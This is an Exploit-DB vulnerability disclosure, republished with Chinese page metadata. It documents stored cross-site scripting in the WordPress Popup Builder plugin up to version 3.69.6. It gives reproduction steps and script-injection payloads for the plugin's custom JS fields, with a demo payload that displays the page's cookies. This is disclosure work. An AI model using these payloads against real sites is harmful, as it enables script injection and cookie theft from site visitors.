WordPress Plugin Popup Builder 3.69.6 – Multiple Stored Cross Site Scripting

• Exploit Database
• 16 阅读

• 作者： Ilca Lucian Florin
  日期： 2020-12-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49231/

• # Exploit Title: WordPress Plugin Popup Builder 3.69.6 - Multiple Stored Cross Site Scripting
  # Date: 11/27/2020
  # Exploit Author: Ilca Lucian Florin
  # Vendor Homepage: https://sygnoos.com
  # Software Link: https://wordpress.org/plugins/popup-builder/ / https://popup-builder.com/
  # Version: <= 3.69.6
  # Tested on: Latest Version of Desktop Web Browsers: Chrome, Firefox, Microsoft Edge
  
  The Popup Builder – Responsive WordPress Pop up – Subscription & Newsletter
  Plugin is vulnerable to stored cross site scripting. There are multiple
  parameters vulnerable to cross site scripting.
  
  All versions up to 3.69.6 are vulnerable to stored cross site scripting.
  
  More information about this plugin could be found on the following links:
  
  1. https://wordpress.org/plugins/popup-builder/
  2. https://popup-builder.com/
  
  Cross site scripting (XSS) is a common attack vector that injects malicious
  code into a vulnerable web application. XSS differs from other web attack
  vectors (e.g., SQL injections), in that it does not directly target the
  application itself. Instead, the users of the web application are the ones
  at risk. A successful cross site scripting attack can have devastating
  consequences for an online business’s reputation and its relationship with
  its clients. Stored XSS, also known as persistent XSS, is the more damaging
  of the two. It occurs when a malicious script is injected directly into a
  vulnerable web application.
  
  # How to reproduce #
  
  1. Login as Editor or Administrator: https://website.com/wp-login/
  
  2. Go to the following link:
  https://website.com/wp-admin/edit.php?post_type=popupbuilder or search for
  PopUp Builder and select or create new PopUp.
  
  2. Click edit
  
  3. Search and find: # Custom JS or CSS
  
  4. On JS -> Opening events section, add two payloads, one for #2 section
  and one for #3 section, like in the following example:
  
  #2 Add the code you want to run before the popup opens. This will be the
  code that will work in the process of opening the popup. true/false
  conditions will not work in this phase.
  
  <textarea class="wp-editor-area editor-content" data-attr-event="WillOpen"
  placeholder=" #... type your code" mode="text/javascript"
  name="sgpb-WillOpen">"><script
  src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script></textarea>
  
  #3 Add the code you want to run after the popup opens. This code will work
  when the popup is already open on the page.
  
  <textarea class="wp-editor-area editor-content" data-attr-event="DidOpen"
  placeholder=" #... type your code" mode="text/javascript"
  name="sgpb-DidOpen">"><script
  src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script></textarea>
  
  5. Click Update
  
  6. Go to https://website.com. The XSS alert will pop up.
  
  # All text-areas from JS section are vulnerable to stored cross site
  scripting.
  
  Evidence:
  
  1. https://ibb.co/JvBTq0H
  2. https://ibb.co/0KP7NFQ
  3. https://ibb.co/3cFnVYF